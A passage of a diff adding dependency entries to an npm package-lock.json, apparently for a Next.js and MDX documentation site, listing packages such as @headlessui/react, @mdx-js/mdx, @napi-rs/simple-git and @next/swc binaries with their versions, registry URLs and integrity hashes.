"https://registry.npmjs.org/@headlessui/react/-/react-1.7.18.tgz", + "integrity": "sha512-4i5DOrzwN4qSgNsL4Si61VMkUcWbcSKueUV7sFhpHzQcSShdlHENE5+QBntMSRvHt8NyoFO2AGG8si9lq+w4zQ==", + "dependencies": { + "@tanstack/react-virtual": "^3.0.0-beta.60", + "client-only": "^0.0.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "^16 || ^17 || ^18", + "react-dom": "^16 || ^17 || ^18" + } + }, + "node_modules/@mdx-js/mdx": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-2.3.0.tgz", + "integrity": "sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/mdx": "^2.0.0", + "estree-util-build-jsx": "^2.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "estree-util-to-js": "^1.1.0", + "estree-walker": "^3.0.0", + "hast-util-to-estree": "^2.0.0", + "markdown-extensions": "^1.0.0", + "periscopic": "^3.0.0", + "remark-mdx": "^2.0.0", + "remark-parse": "^10.0.0", + "remark-rehype": "^10.0.0", + "unified": "^10.0.0", + "unist-util-position-from-estree": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "unist-util-visit": "^4.0.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/mdx/node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/mdx/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/react": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@mdx-js/react/-/react-2.3.0.tgz", + "integrity": "sha512-zQH//gdOmuu7nt2oJR29vFhDv88oGPmVw6BggmrHeMI+xgEkp1B2dX9/bMBSYtK0dyLX/aOmesKS09g222K1/g==", + "dependencies": { + "@types/mdx": "^2.0.0", + "@types/react": ">=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "react": ">=16" + } + }, + "node_modules/@napi-rs/simple-git": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git/-/simple-git-0.1.16.tgz", + "integrity": "sha512-C5wRPw9waqL2jk3jEDeJv+f7ScuO3N0a39HVdyFLkwKxHH4Sya4ZbzZsu2JLi6eEqe7RuHipHL6mC7B2OfYZZw==", + "engines": { + "node": ">= 10" + }, + "optionalDependencies": { + "@napi-rs/simple-git-android-arm-eabi": "0.1.16", + "@napi-rs/simple-git-android-arm64": "0.1.16", + "@napi-rs/simple-git-darwin-arm64": "0.1.16", + "@napi-rs/simple-git-darwin-x64": "0.1.16", + "@napi-rs/simple-git-linux-arm-gnueabihf": "0.1.16", + "@napi-rs/simple-git-linux-arm64-gnu": "0.1.16", + "@napi-rs/simple-git-linux-arm64-musl": "0.1.16", + "@napi-rs/simple-git-linux-x64-gnu": "0.1.16", + "@napi-rs/simple-git-linux-x64-musl": "0.1.16", + "@napi-rs/simple-git-win32-arm64-msvc": "0.1.16", + "@napi-rs/simple-git-win32-x64-msvc": "0.1.16" + } + }, + "node_modules/@napi-rs/simple-git-android-arm-eabi": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-android-arm-eabi/-/simple-git-android-arm-eabi-0.1.16.tgz", + "integrity": "sha512-dbrCL0Pl5KZG7x7tXdtVsA5CO6At5ohDX3myf5xIYn9kN4jDFxsocl8bNt6Vb/hZQoJd8fI+k5VlJt+rFhbdVw==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-android-arm64": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-android-arm64/-/simple-git-android-arm64-0.1.16.tgz", + "integrity": "sha512-xYz+TW5J09iK8SuTAKK2D5MMIsBUXVSs8nYp7HcMi8q6FCRO7yJj96YfP9PvKsc/k64hOyqGmL5DhCzY9Cu1FQ==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-darwin-arm64": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-darwin-arm64/-/simple-git-darwin-arm64-0.1.16.tgz", + "integrity": "sha512-XfgsYqxhUE022MJobeiX563TJqyQyX4FmYCnqrtJwAfivESVeAJiH6bQIum8dDEYMHXCsG7nL8Ok0Dp8k2m42g==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-darwin-x64": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-darwin-x64/-/simple-git-darwin-x64-0.1.16.tgz", + "integrity": "sha512-tkEVBhD6vgRCbeWsaAQqM3bTfpIVGeitamPPRVSbsq8qgzJ5Dx6ZedH27R7KSsA/uao7mZ3dsrNLXbu1Wy5MzA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-linux-arm-gnueabihf": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm-gnueabihf/-/simple-git-linux-arm-gnueabihf-0.1.16.tgz", + "integrity": "sha512-R6VAyNnp/yRaT7DV1Ao3r67SqTWDa+fNq2LrNy0Z8gXk2wB9ZKlrxFtLPE1WSpWknWtyRDLpRlsorh7Evk7+7w==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-linux-arm64-gnu": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm64-gnu/-/simple-git-linux-arm64-gnu-0.1.16.tgz", + "integrity": "sha512-LAGI0opFKw/HBMCV2qIBK3uWSEW9h4xd2ireZKLJy8DBPymX6NrWIamuxYNyCuACnFdPRxR4LaRFy4J5ZwuMdw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-linux-arm64-musl": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm64-musl/-/simple-git-linux-arm64-musl-0.1.16.tgz", + "integrity": "sha512-I57Ph0F0Yn2KW93ep+V1EzKhACqX0x49vvSiapqIsdDA2PifdEWLc1LJarBolmK7NKoPqKmf6lAKKO9lhiZzkg==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-linux-x64-gnu": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-x64-gnu/-/simple-git-linux-x64-gnu-0.1.16.tgz", + "integrity": "sha512-AZYYFY2V7hlcQASPEOWyOa3e1skzTct9QPzz0LiDM3f/hCFY/wBaU2M6NC5iG3d2Kr38heuyFS/+JqxLm5WaKA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-linux-x64-musl": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-x64-musl/-/simple-git-linux-x64-musl-0.1.16.tgz", + "integrity": "sha512-9TyMcYSBJwjT8jwjY9m24BZbu7ozyWTjsmYBYNtK3B0Um1Ov6jthSNneLVvouQ6x+k3Ow+00TiFh6bvmT00r8g==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-win32-arm64-msvc": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-win32-arm64-msvc/-/simple-git-win32-arm64-msvc-0.1.16.tgz", + "integrity": "sha512-uslJ1WuAHCYJWui6xjsyT47SjX6KOHDtClmNO8hqKz1pmDSNY7AjyUY8HxvD1lK9bDnWwc4JYhikS9cxCqHybw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/simple-git-win32-x64-msvc": { + "version": "0.1.16", + "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-win32-x64-msvc/-/simple-git-win32-x64-msvc-0.1.16.tgz", + "integrity": "sha512-SoEaVeCZCDF1MP+M9bMSXsZWgEjk4On9GWADO5JOulvzR1bKjk0s9PMHwe/YztR9F0sJzrCxwtvBZowhSJsQPg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/env": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/env/-/env-13.5.6.tgz", + "integrity": "sha512-Yac/bV5sBGkkEXmAX5FWPS9Mmo2rthrOPRQQNfycJPkjUAUclomCPH7QFVCDQ4Mp2k2K1SSM6m0zrxYrOwtFQw==" + }, + "node_modules/@next/swc-darwin-arm64": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-13.5.6.tgz", + "integrity": "sha512-5nvXMzKtZfvcu4BhtV0KH1oGv4XEW+B+jOfmBdpFI3C7FrB/MfujRpWYSBBO64+qbW8pkZiSyQv9eiwnn5VIQA==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-darwin-x64": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-13.5.6.tgz", + "integrity": "sha512-6cgBfxg98oOCSr4BckWjLLgiVwlL3vlLj8hXg2b+nDgm4bC/qVXXLfpLB9FHdoDu4057hzywbxKvmYGmi7yUzA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-arm64-gnu": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-13.5.6.tgz", + "integrity": "sha512-txagBbj1e1w47YQjcKgSU4rRVQ7uF29YpnlHV5xuVUsgCUf2FmyfJ3CPjZUvpIeXCJAoMCFAoGnbtX86BK7+sg==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-arm64-musl": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-13.5.6.tgz", + "integrity": "sha512-cGd+H8amifT86ZldVJtAKDxUqeFyLWW+v2NlBULnLAdWsiuuN8TuhVBt8ZNpCqcAuoruoSWynvMWixTFcroq+Q==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-x64-gnu": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-13.5.6.tgz", + "integrity": "sha512-Mc2b4xiIWKXIhBy2NBTwOxGD3nHLmq4keFk+d4/WL5fMsB8XdJRdtUlL87SqVCTSaf1BRuQQf1HvXZcy+rq3Nw==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-x64-musl": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-13.5.6.tgz", + "integrity": "sha512-CFHvP9Qz98NruJiUnCe61O6GveKKHpJLloXbDSWRhqhkJdZD2zU5hG+gtVJR//tyW897izuHpM6Gtf6+sNgJPQ==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-arm64-msvc": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-13.5.6.tgz", + "integrity": "sha512-aFv1ejfkbS7PUa1qVPwzDHjQWQtknzAZWGTKYIAaS4NMtBlk3VyA6AYn593pqNanlicewqyl2jUhQAaFV/qXsg==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-ia32-msvc": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-13.5.6.tgz", + "integrity": "sha512-XqqpHgEIlBHvzwG8sp/JXMFkLAfGLqkbVsyN+/Ih1mR8INb6YCc2x/Mbwi6hsAgUnqQztz8cvEbHJUbSl7RHDg==", + "cpu": [ + "ia32" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-x64-msvc": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-13.5.6.tgz", + "integrity": "sha512-Cqfe1YmOS7k+5mGu92nl5ULkzpKuxJrP3+4AEuPmrpFZ3BHxTY3TnHmU1On3bFmFFs6FbTcdF58CCUProGpIGQ==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@popperjs/core": { + "version": "2.11.8", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz", + "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@swc/helpers": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.2.tgz", + "integrity": "sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==", + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tanstack/react-virtual": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.2.0.tgz", + "integrity": "sha512-OEdMByf2hEfDa6XDbGlZN8qO6bTjlNKqjM3im9JG+u3mCL8jALy0T/67oDI001raUUPh1Bdmfn4ZvPOV5knpcg==", + "dependencies": { + "@tanstack/virtual-core": "3.2.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/@tanstack/virtual-core": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@tanstack/virtual-core/-/virtual-core-3.2.0.tgz", + "integrity": "sha512-P5XgYoAw/vfW65byBbJQCw+cagdXDT/qH6wmABiLt4v4YBT2q2vqCOhihe+D1Nt325F/S/0Tkv6C5z0Lv+VBQQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@theguild/remark-mermaid": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/@theguild/remark-mermaid/-/remark-mermaid-0.0.5.tgz", + "integrity": "sha512-e+ZIyJkEv9jabI4m7q29wZtZv+2iwPGsXJ2d46Zi7e+QcFudiyuqhLhHG/3gX3ZEB+hxTch+fpItyMS8jwbIcw==", + "dependencies": { + "mermaid": "^10.2.2", + "unist-util-visit": "^5.0.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/@theguild/remark-npm2yarn": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@theguild/remark-npm2yarn/-/remark-npm2yarn-0.2.1.tgz", + "integrity": "sha512-jUTFWwDxtLEFtGZh/TW/w30ySaDJ8atKWH8dq2/IiQF61dPrGfETpl0WxD0VdBfuLOeU14/kop466oBSRO/5CA==", + "dependencies": { + "npm-to-yarn": "^2.1.0", + "unist-util-visit": "^5.0.0" + } + }, + "node_modules/@types/acorn": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz", + "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/d3-scale": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.8.tgz", + "integrity": "sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-scale-chromatic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-scale-chromatic/-/d3-scale-chromatic-3.0.3.tgz", + "integrity": "sha512-laXM4+1o5ImZv3RpFAsTRn3TEkzqkytiOY0Dz0sq5cnd1dtNlk6sHLon4OvqaiJb28T0S/TdsBI3Sjsy+keJrw==" + }, + "node_modules/@types/d3-time": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.3.tgz", + "integrity": "sha512-2p6olUZ4w3s+07q3Tm2dbiMZy5pCDfYwtLXXHUnVzXgQlZ/OyPtUz6OL382BkOuGlLXqfT+wqv8Fw2v8/0geBw==" + }, + "node_modules/@types/debug": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz", + "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", + "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==" + }, + "node_modules/@types/estree-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", + "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/hast": { + "version": "2.3.10", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.10.tgz", + "integrity": "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==", + "dependencies": { + "@types/unist": "^2" + } + }, + "node_modules/@types/js-yaml": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz", + "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==" + }, + "node_modules/@types/katex": { + "version": "0.16.7", + "resolved": "https://registry.npmjs.org/@types/katex/-/katex-0.16.7.tgz", + "integrity": "sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==" + }, + "node_modules/@types/mdast": { + "version": "3.0.15", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.15.tgz", + "integrity": "sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==", + "dependencies": { + "@types/unist": "^2" + } + }, + "node_modules/@types/mdx": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.11.tgz", + "integrity": "sha512-HM5bwOaIQJIQbAYfax35HCKxx7a3KrK3nBtIqJgSOitivTD1y3oW9P3rxY9RkXYPUk7y/AjAohfHKmFpGE79zw==" + }, + "node_modules/@types/ms": { + "version": "0.7.34", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.34.tgz", + "integrity": "sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==" + }, + "node_modules/@types/node": { + "version": "18.11.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.11.10.tgz", + "integrity": "sha512-juG3RWMBOqcOuXC643OAdSA525V44cVgGV6dUDuiFtss+8Fk5x1hI93Rsld43VeJVIeqlP9I7Fn9/qaVqoEAuQ==", + "dev": true + }, + "node_modules/@types/prop-types": { + "version": "15.7.11", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.11.tgz", + "integrity": "sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==" + }, + "node_modules/@types/react": { + "version": "18.2.67", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.67.tgz", + "integrity": "sha512-vkIE2vTIMHQ/xL0rgmuoECBCkZFZeHr49HeWSc24AptMbNRo7pwSBvj73rlJJs9fGKj0koS+V7kQB1jHS0uCgw==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/scheduler": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.8.tgz", + "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==" + }, + "node_modules/@types/unist": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.10.tgz", + "integrity": "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==" + }, + "node_modules/@ungap/structured-clone": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", + "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==" + }, + "node_modules/acorn": { + "version": "8.11.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", + "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ansi-sequence-parser": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ansi-sequence-parser/-/ansi-sequence-parser-1.1.1.tgz", + "integrity": "sha512-vJXt3yiaUL4UU546s3rPXlsry/RnM730G1+HkpKE012AN0sx1eOrxSu95oKDIonskeLTijMgqWZ3uDEe3NFvyg==" + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/arch": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz", + "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/arg": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/arg/-/arg-1.0.0.tgz", + "integrity": "sha512-Wk7TEzl1KqvTGs/uyhmHO/3XLd3t1UeU4IstvPXVzGPM522cTjqjNZ99esCkcL52sjqjo8e8CTBcWhkxvGzoAw==" + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/astring": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/astring/-/astring-1.8.6.tgz", + "integrity": "sha512-ISvCdHdlTDlH5IpxQJIex7BWBywFWgjJSVdwst+/iQCoEYnyOaQ95+X1JGshuBjGp6nxKUy1jMgE3zPqN7fQdg==", + "bin": { + "astring": "bin/astring" + } + }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/busboy": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", + "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", + "dependencies": { + "streamsearch": "^1.1.0" + }, + "engines": { + "node": ">=10.16.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001599", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001599.tgz", + "integrity": "sha512-LRAQHZ4yT1+f9LemSMeqdMpMxZcc4RMWdj4tiFe3G8tNkWK+E58g+/tzotb5cU6TbcVJLr4fySiAW7XmxQvZQA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chalk": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.3.0.tgz", + "integrity": "sha512-Az5zJR2CBujap2rqXGaJKaPHyJ0IrUimvYNX+ncCy8PJP4ltOGTrHUIo097ZaL2zMeKYpiCdqDvS6zdrTFok3Q==", + "dependencies": { + "ansi-styles": "^3.1.0", + "escape-string-regexp": "^1.0.5", + "supports-color": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": 